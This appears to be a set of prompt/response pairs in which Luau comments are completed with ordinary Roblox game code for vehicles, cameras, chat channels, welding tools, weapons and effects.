Prompt:
--F.headLights = function(Tog)
--	for i,v in pairs(script.Parent.Parent.Parent:getChildren()) do
--		if v:FindFirstChild('Head') or v:FindFirstChild('Tail') then
--			v.BGUI.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
--			v.SpotLight.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
--		end
--	end
--	carSeat.Headlights.Value = (carSeat.Ignition.Value == 1 and Tog or false)
--end

Response:
script.Parent.OnServerEvent:connect(function(Player, Func, ...)
	if F[Func] then
		F[Func](...)
	end
end)


Prompt: --[[Wheel Alignment]]

Response:
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -2.5
	Tune.RCamber		= -2
	Tune.FToe			= 0
	Tune.RToe			= 0


Prompt: -- TODO Luau: needs overloads to model this more correctly

Response:
return function<T>(value: { [string]: T } | Array<T> | string): Array<T> | Array<string>
	if value == nil then
		error("cannot extract values from a nil value")
	end
	local valueType = typeof(value)

	local array: Array<T> | Array<string>
	if valueType == "table" then
		array = {} :: Array<T>
		for _, keyValue in pairs(value :: { [string]: T } | Array<T>) do
			table.insert(array, keyValue)
		end
	elseif valueType == "string" then
		-- optimization to avoid rehashing/growth
		local valueStringLength = (value :: string):len()
		array = table.create(valueStringLength)
		for i = 1, valueStringLength do
			(array :: Array<string>)[i] = (value :: string):sub(i, i)
		end
	end

	return array
end


Prompt:
--------------------------------------------------------------------------------
-- 32-BIT BITWISE FUNCTIONS
--------------------------------------------------------------------------------
-- Only low 32 bits of function arguments matter, high bits are ignored
-- The result of all functions (except HEX) is an integer inside "correct range":
-- for "bit" library:    (-TWO_POW_31)..(TWO_POW_31-1)
-- for "bit32" library:        0..(TWO_POW_32-1)

Response:
local bit32_band = bit32.band -- 2 arguments
local bit32_bor = bit32.bor -- 2 arguments
local bit32_bxor = bit32.bxor -- 2..5 arguments
local bit32_lshift = bit32.lshift -- second argument is integer 0..31
local bit32_rshift = bit32.rshift -- second argument is integer 0..31
local bit32_lrotate = bit32.lrotate -- second argument is integer 0..31
local bit32_rrotate = bit32.rrotate -- second argument is integer 0..31


Prompt: -- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,0.125,-0.325) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: -- Making some calculations based on configurations

Response:
local waitBetweenSegments = 0.05
local segmentsPerSecond = 1/waitBetweenSegments
local numSegments = range / bulletSpeed * segmentsPerSecond
local segmentLength = range / numSegments
local dropPerSegment = segmentLength * bulletDrop / 100
local dropAngle = -math.tan(dropPerSegment / segmentLength)


Prompt: -- Modules

Response:
local CreateTrail = require(script.CreateTrail)

local SpiralModule = { }

function SpiralModule.Init(Part: BasePart, Properties: table)

	-- Properties
	local Frequency = Properties.Frequency or math.huge

	-- Physics Properties
	local Radius = Properties.Radius or 2
	local Lifetime = Properties.Lifetime or math.huge
	local Time = Properties.Time or 0.45
	local Offset = Properties.Offset or 0.05

	for _ = 1, Frequency do
		local Connection
		local Index = 0

		-- Trail Properties
		local Size = Properties.Size or 0.275
		local Color = Properties.Color or Color3.fromRGB(255, 255, 255)
		local Transparency = Properties.Transparency or 0

		local Info = TweenInfo.new(Time, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)

		local RotationPart = Instance.new('Part')
		RotationPart.Anchored, RotationPart.CanCollide = true, false
		RotationPart.CanTouch, RotationPart.CanQuery = false, false
		RotationPart.CFrame = Part.CFrame * CFrame.new(0, -(Part.Size.Y / 2), 0)
		RotationPart.Size = Vector3.one
		RotationPart.Transparency = 1
		RotationPart.Parent = Part

		TweenService:Create(RotationPart, Info, {Orientation = RotationPart.Orientation + Vector3.new(0, 360, 0)}):Play()

		local TPart = Instance.new('Part')
		TPart.Anchored, TPart.CanCollide = true, false
		TPart.CanTouch, TPart.CanQuery = false, false
		TPart.CFrame = RotationPart.CFrame
		TPart.Size = Vector3.one
		TPart.Transparency = 1
		TPart.Parent = workspace.Effects
		local Trail = CreateTrail(TPart, Size, Color, Transparency)

		Connection = RunService.RenderStepped:Connect(function(Delta)
			Index = (Index + Delta / Lifetime) % 1
			local Alpha = 2 * math.pi * Index
			RotationPart.CFrame = RotationPart.CFrame * CFrame.new(0, Offset, 0)
			TPart.CFrame = RotationPart.CFrame * CFrame.Angles(0, Alpha, 0) * CFrame.new(0, 0, Radius)
		end)

		task.wait(1.35)
		Trail.Enabled = false
		Debris:AddItem(RotationPart, 1)
		Debris:AddItem(TPart, 1)

		task.wait(1)
		Connection:Disconnect()
	end
end

return SpiralModule


Prompt: -- options -------------------------

Response:
setupmode = "Auto" -- Manual or Auto (if you want to pick what plugins you have yourself or you want it to be automated)
soundplugin = "StockSound"	-- StockSound, SoundSuite or 1.5 Sound (no others are supported, sorry!) (MANUAL ONLY)
camkey = "v" -- the key you use for first person camera
level = 50 -- 0% - 100%
exceptions = {"Pedal","Shift"} -- put names of audios to ignore here (AUTO ONLY)


Prompt:
--[[
	Server Module
--]]

Response:
local Settings = { --, not ; ? | server module!!
	 BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961'
	,Damage = {60, 100}
	,OneHanded = false --DONT USE YET
	,FakeArms = true
    ,FakeArmTransparency = 0
    ,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0)
	,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
}

return Settings


Prompt:
---Below: Only change at spaces where i say u have to xd
--but i made all functions Userfriendly for people like u alex xD

Response:
function fireB(Type,AmmoSource)
	wmissile = bin:findFirstChild("Bullet")
	missile = wmissile:clone()
	missile.CFrame = AmmoSource.CFrame
	if(smoke_at_gun == false) then missile.Smoke.Enabled = false end
	missile.WeaponScript.Disabled = false

	WM = Instance.new("Model")
	WM.Name = "Bullet"
	WM.Parent = game.Players.LocalPlayer.Character
	missile.Parent = WM

	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = game.Players.LocalPlayer
	creator_tag.Name = "creator"
	creator_tag.Parent = missile

	missile.Owner.Value = vehicle
end

function fire(pln,spn)
	local missile = bin.Rocket:clone()
	missile.CFrame = spn.CFrame * CFrame.new(0, 0, -35)
	missile.Mesh.Scale = Vector3.new(0.3, 0.3, 0.4)-- Resizer in case :3
	missile.RocketScript.Disabled = false
	missile.Parent = game.Workspace
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = game.Players.LocalPlayer
	creator_tag.Name = "creator"
	creator_tag.Parent = missile
	--Rocket ID
	--missile.Rocket_ID.Value = pln.Parts.Values.Pln_ID.Value
	--Da rest...
	missile.Owner.Value = pln
end

function move(point, engine)--Move Settings. this makes sure that the plane moves correctly. [NOT TO CHANGE!]
	local origincframe = engine:findFirstChild("BodyGyro").cframe
	size = engine.Size

	target = engine.Position+((point - engine.Position).unit*100)
	local dir = (target - engine.Position).unit
	local spawnPos = engine.Position
	left = engine.CFrame*CFrame.new(-size.x/1, 0, 0).p
	right = engine.CFrame*CFrame.new(size.x/1, 0, 0).p
	md = (target - engine.Position).magnitude

	foebmd = engine.CFrame*CFrame.new(0, 0, -md).p
	toleft = (target -left).magnitude
	toright = (target -right).magnitude
	rot = 0.5 --((foebmd - target).magnitude/(5*10))
	local pos = spawnPos + (dir * 1)
	engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9000, 9000, 9000)
	if toleft< toright and toleft >rot and taxiing == false then
		engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos,  pos + dir)*CFrame.fromAxisAngle( Vector3.new(0, 0, rot) , math.pi/ 40 )
	elseif toleft > toright and toright >rot and taxiing == false then
		engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos,  pos + dir)*CFrame.fromAxisAngle( Vector3.new(0, 0,-rot) , math.pi/ 40 )
	else
		engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos,  pos + dir)
	end
	wait(0.1)
	engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(0, 0, 0)
	engine:findFirstChild("BodyGyro").cframe = origincframe
end

function computeDirection(vec)--finds the Direction of the place [NOT TO CHANGE!]
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

function findPlane(player)--needed to find the plane. [NOT TO CHANGE!]
	local list = player.Character:GetChildren()
	for x = 1, #list do
		if (list[x].Name == "Plane") then
			local weld = list[x]:FindFirstChild("Parts"):FindFirstChild("Seat"):FindFirstChild("SeatWeld")
			if (weld ~= nil) and (weld.Part1.Name == "HumanoidRootPart") then
				print(list[x])
				return list[x]
			end
		end
	end
	return nil
end

function onFollow(mouse) --A function to Follow the mouse [NOT TO CHANGE!]
if(Mousefollow == false) and (on == true) then
	wait()
	Mousefollow = true
elseif(Mousefollow == true)then
	wait()
	Mousefollow = false
elseif(on == false) then
Mousefollow = false
end
end

function onButton1Down(mouse)--this is... i forgot but dont change lol xD [NOT TO CHANGE!]
	if(Mousefollow == false) then
	return
	elseif(on == false) and (Mousefollow == true) then
	Mousefollow = false
	elseif(Mousefollow == true) and (on == false) then
	Mousefollow = false
	elseif(Mousefollow == true) and (on == true) then
	local vehicle = findPlane(game:GetService("Players").LocalPlayer)
	if vehicle ~= nil and debounce == false and planedebounce == false then
	debounce = true

	controlling = true

	while Mousefollow == true do---If a error at mouse then here!!
		wait()
		local engine = vehicle.Parts.Engine
		local position = mouse.Hit
		local target = position.p
		if engine ~= nil then
		move(target, engine)
		end
		if planedebounce == true or
		controlling == false then break end
	end
	wait(.1)
	debounce = false
	end
end
end

function onButton1Up(mouse)--The mouse function yeh a mouse function lol [NOT TO CHANGE!]
	controlling = false
end
function setup(p)
local pln = p
local PS = script.Parent.Parent.Parent.PlayerGui:findFirstChild("PlaneStats").Frame


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = {
	value = 250
};
local v3 = Instance.new("BindableEvent");
v3.Name = script.Name;
v3.Parent = script;
v2.event = v3;
if game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("InGame").Value == true then
	game.Players.LocalPlayer:WaitForChild("Gold").Changed:connect(function(p1)
		v2.value = p1;
		v3:Fire(p1);
	end);
end;
return v2;


Prompt: ---Controller

Response:
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0

local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
	if Controller then
		if input.KeyCode ==Enum.KeyCode.ButtonX then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonX=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonX=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonY then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonY=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonY=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonL1=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonL1=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonR1=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonR1=0
			end
		elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
			if input.UserInputState == Enum.UserInputState.Begin then
				DPadUp=1
			elseif input.UserInputState == Enum.UserInputState.End then
				DPadUp=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonR3=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonR3=0
			end
		end
		if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
			if input.KeyCode == Enum.KeyCode.Thumbstick1 then
				LStickX = input.Position.X
			elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
				RStickX = input.Position.X
				RStickY = input.Position.Y
			elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--rishoulder
				RTriggerValue = input.Position.Z
			elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
				LTriggerValue = input.Position.Z
			end
		end
	end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)

car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then
		for i,v in pairs(Binded) do
			run:UnbindFromRenderStep(v)
		end
		workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
		workspace.CurrentCamera.FieldOfView=70
		player.CameraMaxZoomDistance=200
	end
end)

function Camera()
	local cam=workspace.CurrentCamera
	local intcam=false
	local CRot=0
	local CBack=0
	local CUp=0
	local mode=0
	local look=0
	local camChange = 0
	local function CamUpdate()
		if not pcall (function()
			if camChange==0 and DPadUp==1 then
				intcam = not intcam
			end
			camChange=DPadUp
			if mode==1 then
				if math.abs(RStickX)>.1 then
					local sPos=1
					if RStickX<0 then sPos=-1 end
					if intcam then
						CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
					else
						CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
					end
				else
					CRot=0
				end
				if math.abs(RStickY)>.1 then
					local sPos=1
					if RStickY<0 then sPos=-1 end
					if intcam then
						CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
					else
						CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
					end
				else
					CUp=0
				end
			else
				if CRot>look then
					CRot=math.max(look,CRot-20)
				elseif CRot<look then
					CRot=math.min(look,CRot+20)
				end
				CUp=0
			end
			if intcam then
				CBack=0
			else
				CBack=-180*ButtonR3
			end
			if intcam then
				cam.CameraSubject=player.Character.Humanoid
				cam.CameraType=Enum.CameraType.Scriptable
				cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12
				player.CameraMaxZoomDistance=5
				local cf=car.Body.Cam.CFrame
				if ButtonR3==1 then
					cf=car.Body.RCam.CFrame
				end
				cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
			else
				cam.CameraSubject=car.DriveSeat
				cam.FieldOfView=70
				if mode==0 then
					cam.CameraType=Enum.CameraType.Custom
					player.CameraMaxZoomDistance=400
					run:UnbindFromRenderStep("CamUpdate")
				else
					cam.CameraType = "Scriptable"
					local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
					local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
					cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
				end
			end
		end) then
			cam.FieldOfView=70
			cam.CameraSubject=player.Character.Humanoid
			cam.CameraType=Enum.CameraType.Custom
			player.CameraMaxZoomDistance=400
			run:UnbindFromRenderStep("CamUpdate")
		end
	end
	local function ModeChange()
		if GMode~=mode then
			mode=GMode
			run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
		end
	end
	mouse.KeyDown:connect(function(key)
		if key=="8" then
			look=50
		elseif key=="9" then
			if intcam then
				look=160
			else
				look=180
			end
		elseif key=="0" then
			look=-50
		elseif key=="v" then
			run:UnbindFromRenderStep("CamUpdate")
			intcam=not intcam
			run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
		end
	end)
	mouse.KeyUp:connect(function(key)
		if key=="8" and look==5 then
			look=0
		elseif key=="9" and (look==1 or look==1) then
			look=0
		elseif key=="0" and look==-50 then
			look=0
		end
	end)
	run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
	table.insert(Binded,"CamUpdate")
	table.insert(Binded,"CMChange")
end
Camera()

mouse.KeyDown:connect(function(key)
	if key=="b" then
		if GMode>=1 then
			GMode=0
		else
			GMode=GMode+1
		end
		if GMode==1 then
			Controller=true
		else
			Controller=false
		end
	end
end)


Prompt: -- Map storing Player -> Blocked user Ids.

Response:
local BlockedUserIdsMap = {}

PlayersService.PlayerAdded:connect(function(newPlayer)
	for player, blockedUsers in pairs(BlockedUserIdsMap) do
		local speaker = ChatService:GetSpeaker(player.Name)
		if speaker then
			for i = 1, #blockedUsers do
				local blockedUserId = blockedUsers[i]
				if blockedUserId == newPlayer.UserId then
					speaker:AddMutedSpeaker(newPlayer.Name)
				end
			end
		end
	end
end)

PlayersService.PlayerRemoving:connect(function(removingPlayer)
	BlockedUserIdsMap[removingPlayer] = nil
end)

EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList)
	if type(blockedUserIdsList) ~= "table" then
		return
	end

	local prunedBlockedUserIdsList = {}
	local speaker = ChatService:GetSpeaker(player.Name)
	if speaker then
		for i = 1, math.min(#blockedUserIdsList, MAX_BLOCKED_SPEAKERS_PER_REQ) do
			if type(blockedUserIdsList[i]) == "number" then

				table.insert(prunedBlockedUserIdsList, blockedUserIdsList[i])

				local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
				if blockedPlayer then
					speaker:AddMutedSpeaker(blockedPlayer.Name)
				end
			end
		end

		-- We only want to store the first
		-- MAX_BLOCKED_SPEAKERS_PER_REQ number of ids as needed
		BlockedUserIdsMap[player] = prunedBlockedUserIdsList
	end
end)

EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj)
	local speaker = ChatService:GetSpeaker(playerObj.Name)
	if not (speaker and speaker:GetPlayer()) then
		CreatePlayerSpeakerObject(playerObj)
		speaker = ChatService:GetSpeaker(playerObj.Name)
	end

	local data = {}
	data.Channels = {}
	data.SpeakerExtraData = {}

	for _, channelName in pairs(speaker:GetChannelList()) do
		local channelObj = ChatService:GetChannel(channelName)
		if (channelObj) then
			local channelData =
			{
				channelName,
				channelObj:GetWelcomeMessageForSpeaker(speaker),
				channelObj:GetHistoryLogForSpeaker(speaker),
				channelObj.ChannelNameColor,
			}

			table.insert(data.Channels, channelData)
		end
	end

	for _, oSpeakerName in pairs(ChatService:GetSpeakerList()) do
		local oSpeaker = ChatService:GetSpeaker(oSpeakerName)
		data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData
	end

	return data
end)

local function DoJoinCommand(speakerName, channelName, fromChannelName)
	local speaker = ChatService:GetSpeaker(speakerName)
	local channel = ChatService:GetChannel(channelName)

	if (speaker) then
		if (channel) then
			if (channel.Joinable) then
				if (not speaker:IsInChannel(channel.Name)) then
					speaker:JoinChannel(channel.Name)
				else
					speaker:SetMainChannel(channel.Name)
					local msg = ChatLocalization:FormatMessageToSend(
						"GameChat_SwitchChannel_NowInChannel",
						string.format("You are now chatting in channel: '%s'", channel.Name),
						"RBX_NAME",
						channel.Name)
					speaker:SendSystemMessage(msg, channel.Name)
				end
			else
				local msg = ChatLocalization:FormatMessageToSend(
					"GameChat_ChatServiceRunner_YouCannotJoinChannel",
					"You cannot join channel '" .. channelName .. "'.",
					"RBX_NAME",
					channelName)
				speaker:SendSystemMessage(msg, fromChannelName)
			end
		else
			local msg = ChatLocalization:FormatMessageToSend(
				"GameChat_ChatServiceRunner_ChannelDoesNotExist",
				"Channel '" .. channelName .. "' does not exist.",
				"RBX_NAME",
				channelName)
			speaker:SendSystemMessage(msg, fromChannelName)
		end
	end
end

local function DoLeaveCommand(speakerName, channelName, fromChannelName)
	local speaker = ChatService:GetSpeaker(speakerName)
	local channel = ChatService:GetChannel(channelName)

	if (speaker) then
		if (speaker:IsInChannel(channelName)) then
			if (channel.Leavable) then
				speaker:LeaveChannel(channel.Name)
				local msg = ChatLocalization:FormatMessageToSend(
					"GameChat_ChatService_YouHaveLeftChannel",
					string.format("You have left channel '%s'", channelName),
					"RBX_NAME",
					channel.Name)
				speaker:SendSystemMessage(msg, "System")
			else
				local msg = ChatLocalization:FormatMessageToSend(
					"GameChat_ChatServiceRunner_YouCannotLeaveChannel",
					("You cannot leave channel '" .. channelName .. "'."),
					"RBX_NAME",
					channelName)
				speaker:SendSystemMessage(msg, fromChannelName)
			end
		else
			local msg = ChatLocalization:FormatMessageToSend(
				"GameChat_ChatServiceRunner_YouAreNotInChannel",
				("You are not in channel '" .. channelName .. "'."),
				"RBX_NAME",
				channelName)
			speaker:SendSystemMessage(msg, fromChannelName)
		end
	end
end

ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel)
	if (string.sub(message, 1, 6):lower() == "/join ") then
		DoJoinCommand(fromSpeaker, string.sub(message, 7), channel)
		return true
	elseif (string.sub(message, 1, 3):lower() == "/j ") then
		DoJoinCommand(fromSpeaker, string.sub(message, 4), channel)
		return true
	elseif (string.sub(message, 1, 7):lower() == "/leave ") then
		DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel)
		return true
	elseif (string.sub(message, 1, 3):lower() == "/l ") then
		DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel)
		return true
	end

	return false
end)

if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then
	local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName)

	allChannel.Leavable = false
	allChannel.AutoJoin = true

	allChannel:RegisterGetWelcomeMessageFunction(function(speaker)
		if RunService:IsStudio() then
			return nil
		end
		local player = speaker:GetPlayer()
		if player then
			local success, canChat = pcall(function()
				return Chat:CanUserChatAsync(player.UserId)
			end)
			if success and not canChat then
				return ""
			end
		end
	end)
end

local systemChannel = ChatService:AddChannel("System")
systemChannel.Leavable = false
systemChannel.AutoJoin = true
systemChannel.WelcomeMessage = ChatLocalization:FormatMessageToSend(
	"GameChat_ChatServiceRunner_SystemChannelWelcomeMessage", "This channel is for system and game notifications."
)

systemChannel.SpeakerJoined:connect(function(speakerName)
	systemChannel:MuteSpeaker(speakerName)
end)

local function TryRunModule(module)
	if module:IsA("ModuleScript") then
		local ret = require(module)
		if (type(ret) == "function") then
			ret(ChatService)
		end
	end
end

local modules = Chat:WaitForChild("ChatModules")
modules.ChildAdded:connect(function(child)
	local success, returnval = pcall(TryRunModule, child)
	if not success and returnval then
		print("Error running module " ..child.Name.. ": " ..returnval)
	end
end)

for _, module in pairs(modules:GetChildren()) do
	local success, returnval = pcall(TryRunModule, module)
	if not success and returnval then
		print("Error running module " ..module.Name.. ": " ..returnval)
	end
end

PlayersService.PlayerRemoving:connect(function(playerObj)
	if (ChatService:GetSpeaker(playerObj.Name)) then
		ChatService:RemoveSpeaker(playerObj.Name)
	end
end)


Prompt:
-- MasterWeld by Zephyred
-- Works for all types of parts, unions etc.

Response:
function WeldPair(x, y)
	local weld = Instance.new("Weld",x)
	weld.Part0 = x
	weld.Part1 = y
	weld.C1 = y.CFrame:toObjectSpace(x.CFrame);
end

function WeldAll(model, main) -- model can be anything
	if model:IsA("BasePart") then WeldPair(main, model) end
	for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end
end

function UnanchorAll(model) -- model can be anything
	if (model:IsA("BasePart")) then model.Anchored = false end
	for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end
end

WeldAll(script.Parent, script.Parent.Part)
UnanchorAll(script.Parent)

script:Destroy() -- Done, clean script up.


Prompt: -- References to reduce indexing time

Response:
local GetConnectedParts = Instance.new('Part').GetConnectedParts;
local GetChildren = script.GetChildren;

function GetPartWelds(Part)
	-- Returns any BT-created welds involving `Part`

	local Welds = {};

	-- Get welds stored inside `Part`
	for Weld in pairs(SearchWelds(Part, Part)) do
		Welds[Weld] = true;
	end;

	-- Get welds stored inside connected parts
	for _, ConnectedPart in pairs(GetConnectedParts(Part)) do
		for Weld in pairs(SearchWelds(ConnectedPart, Part)) do
			Welds[Weld] = true;
		end;
	end;

	-- Return all found welds
	return Welds;

end;

function SearchWelds(Haystack, Part)
	-- Searches for and returns BT-created welds in `Haystack` involving `Part`

	local Welds = {};

	-- Search the haystack for welds involving `Part`
	for _, Item in pairs(GetChildren(Haystack)) do

		-- Check if this item is a BT-created weld involving the part
		if Item.Name == 'BTWeld' and Item.ClassName == 'Weld' and
		   (Item.Part0 == Part or Item.Part1 == Part) then

			-- Store weld if valid
			Welds[Item] = true;

		end;

	end;

	-- Return the found welds
	return Welds;

end;

function CreateWelds()
	-- Creates welds for every selected part to the focused part

	-- Determine welding target
	local WeldTarget = (Selection.Focus:IsA 'BasePart' and Selection.Focus) or
		(Selection.Focus:IsA 'Model' and Selection.Focus.PrimaryPart) or
		Selection.Focus:FindFirstChildWhichIsA('BasePart', true)

	-- Send the change request to the server API
	local Welds = Core.SyncAPI:Invoke('CreateWelds', Selection.Parts, WeldTarget)

	-- Update the UI with the number of welds created
	UI.Changes.Text.Text = ('created %s weld%s'):format(#Welds, #Welds == 1 and '' or 's');

	-- Put together the history record
	local HistoryRecord = {
		Welds = Welds;

		Unapply = function (HistoryRecord)
			-- Reverts this change

			-- Remove the welds
			Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds);

		end;

		Apply = function (HistoryRecord)
			-- Reapplies this change

			-- Restore the welds
			Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds);

		end;

	};

	-- Register the history record
	Core.History.Add(HistoryRecord);

end;

function BreakWelds()
	-- Search for any selection-connecting, BT-created welds and remove them

	local Welds = {};

	-- Find welds in selected parts
	for _, Part in pairs(Selection.Parts) do
		for Weld in pairs(GetPartWelds(Part)) do
			Welds[Weld] = true;
		end;
	end;

	-- Turn weld index into list
	Welds = Support.Keys(Welds);

	-- Send the change request to the server API
	local WeldsRemoved = Core.SyncAPI:Invoke('RemoveWelds', Welds);

	-- Update the UI with the number of welds removed
	UI.Changes.Text.Text = ('removed %s weld%s'):format(WeldsRemoved, WeldsRemoved == 1 and '' or 's');

	-- Put together the history record
	local HistoryRecord = {
		Welds = Welds;

		Unapply = function (HistoryRecord)
			-- Reverts this change

			-- Restore the welds
			Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds);

		end;

		Apply = function (HistoryRecord)
			-- Reapplies this change

			-- Remove the welds
			Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds);

		end;

	};

	-- Register the history record
	Core.History.Add(HistoryRecord);

end;

function EnableFocusHighlighting()
	-- Enables automatic highlighting of the focused part in the selection

	-- Only enable focus highlighting in tool mode
	if Core.Mode ~= 'Tool' then
		return;
	end;

	-- Reset all outline colors
	Core.Selection.RecolorOutlines(Core.Selection.Color);

	-- Recolor current focused item
	if Selection.Focus and (#Selection.Parts > 1) then
		Core.Selection.RecolorOutline(Selection.Focus, BrickColor.new('Deep orange'))
	end;

	-- Recolor future focused items
	Connections.FocusHighlighting = Selection.FocusChanged:Connect(function (FocusedItem)

		-- Reset all outline colors
		Core.Selection.RecolorOutlines(Core.Selection.Color);

		-- Recolor newly focused item
		if FocusedItem and (#Selection.Parts > 1) then
			Core.Selection.RecolorOutline(FocusedItem, BrickColor.new('Deep orange'))
		end;

	end);

end;


Prompt: -- When key released

Response:
function onKeyUp(key)
	if key == nil then return end
	key = key:lower()

	-- Stop firing MG
	if key == 'f' then
		firingMg = false;
	end
end

script.Parent.Selected:connect(onSelected)
script.Parent.Deselected:connect(onDeselected)


Prompt: --//Setup//--

Response:
local Button = script.Parent

local MainButton = Button.MainButton
local ClickDetector = MainButton.ClickDetector


Prompt:
-- Public Virtual
-- This function is called when the state is entered

Response:
function BaseState:Enter()

end


Response:
script.Parent.CanCollide = false
script.Parent.Anchored = false
for i,v in pairs(script.Parent:GetChildren()) do
	if v.ClassName == "Part" or v.ClassName == "WedgePart" or v.ClassName == "TrussPart" or v.ClassName == "CornerWedgePart" or v.ClassName == "MeshPart" then
		v.Anchored = false
		v.CanCollide = false
	end
end

while true do
					wait()
					if not sw then
						fl = fl + floatInc
						if fl >= maxFloat then
							sw = true
						end
					else
						fl = fl - floatInc
						if fl <=-maxFloat then
							sw = false
						end
					end
					if pet ~= nil and hum ~= nil and head ~= nil then
						if hum.Health >= 0 then
							local cf = head.CFrame * CFrame.new(3,-2.5+fl,3)
							pet.BodyPosition.Position = Vector3.new(cf.x,cf.y,cf.z)
							pet.BodyGyro.CFrame = head.CFrame * CFrame.new(3,0,-3)
						else
							break
						end
					end
				end


Prompt: -- tween engine sound volume when we start driving

Response:
local engineStartTween = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.In, 0, false, 0)

local Remotes = Vehicle:WaitForChild("Remotes")
local SetThrottleRemote = Remotes:WaitForChild("SetThrottle")
local SetThrottleConnection = nil

local EngineSoundEnabled = true
local TireTrailEnabled = false

local ignitionTime = 1.75 -- seconds

local lastAvgAngularVelocity = 0
